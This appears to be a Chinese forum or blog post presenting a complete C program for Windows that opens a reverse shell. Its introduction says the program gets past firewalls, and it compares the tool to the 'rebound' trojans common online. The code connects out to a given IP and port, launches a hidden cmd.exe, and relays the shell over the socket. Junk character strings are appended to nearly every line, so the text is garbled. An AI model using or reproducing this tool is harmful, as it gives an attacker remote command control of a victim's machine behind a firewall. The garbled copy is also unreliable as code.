Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 `PWKA;W$0  
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/* ============================== IwyA4Ak Ru  
Rebound port in Windows NT b
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By wind,2006/7 >M<3!?fW)  
===============================*/ @6 he
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#include DB vM.'b$  
#include Q):#6|u+  
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#pragma comment(lib,"wsock32.lib") 1XGg0SC  
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void OutputShell(); nrEI0E9  
SOCKET sClient; _>gz&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; = 0 ~4k#  
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void main(int argc,char **argv) GS;GJsAs  
{ pc`P;Eui  
WSADATA stWsaData; ^y5A\nz&  
int nRet; [$y(>]~.  
SOCKADDR_IN stSaiClient,stSaiServer; dX[I :,z*  
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if(argc != 3) LuS@Kf8N+  
{ bZowc {!\  
printf("Useage:\n\rRebound DestIP DestPort\n"); *xnZTj:  
return; N[{rsUBd  
} F`D$bE;|  
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WSAStartup(MAKEWORD(2,2),&stWsaData); N/a4Gl(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +k`L8@a3&  
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stSaiClient.sin_family = AF_INET; mWviWHK  
stSaiClient.sin_port = htons(0); @-@Coy 4Tt  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); t3L>@NWG  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i"Jy>'  
{ yR$_ZXsd  
printf("Bind Socket Failed!\n"); ;*%rFt9FK  
return; [S6u:;7  
} ?:R]p2ID  
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stSaiServer.sin_family = AF_INET; )%C.IZ_s2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); . ,|C>^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N&8$tJ(hhx  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ dL42)HP5  
printf("Connect Error!"); *HrEh;3^J  
return; ]d
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} N*gJu  
OutputShell(); >}SEU-7&\  
} \h ~_<)  
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void OutputShell() hFV,FBsAO  
{ eWH0zswG  
char szBuff[1024]; yP58H{hQM8  
SECURITY_ATTRIBUTES stSecurityAttributes; c=sV"r?  
OSVERSIONINFO stOsversionInfo; b++r#Q g  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jKUEs75]  
STARTUPINFO stStartupInfo; :zL)O  
char *szShell; 3kxo1eb  
PROCESS_INFORMATION stProcessInformation; 9p_?t'&>q  
unsigned long lBytesRead; ')xOL=w  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -y.cy'$f  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); a_N7X  
stSecurityAttributes.lpSecurityDescriptor = 0; {!Qu(%  
stSecurityAttributes.bInheritHandle = TRUE; u^MKqI  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !Fl'?Kz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l>6tEOXt  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2@S}x@^  
stStartupInfo.wShowWindow = SW_HIDE; +Tum K.  
stStartupInfo.hStdInput = hReadPipe; ysnW3q!@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P<pv@l9)  
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GetVersionEx(&stOsversionInfo); :FAPH8]  
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switch(stOsversionInfo.dwPlatformId) R+LKa Z  
{ 1Vpti4OmU  
case 1: rC8p!e.yL  
szShell = "command.com"; #-yCR  
break; Lx,=Up.  
default: >)M{^  
szShell = "cmd.exe"; Z],j|rWy6  
break; ;21D^e  
} ytttF5-  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +O/b[O'0  
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send(sClient,szMsg,77,0); 5FOMh"!z\  
while(1) bZxN]6_  
{ sK2N3B&6  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #/>TuJc  
if(lBytesRead) y% bIO6u:  
{ 4c5BlD  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wnS,Jl  
send(sClient,szBuff,lBytesRead,0); &=lc]sk  
} }`qAb/Ov  
else ;,bgJgK  
{ oC5h-4~  
lBytesRead=recv(sClient,szBuff,1024,0); @7 Ry{,A  
if(lBytesRead<=0) break; kcfT|@:MK"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bYsX?0T!p  
} Y4k2=w:D  
} lDL&":t  
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return; BqNsW (+  
}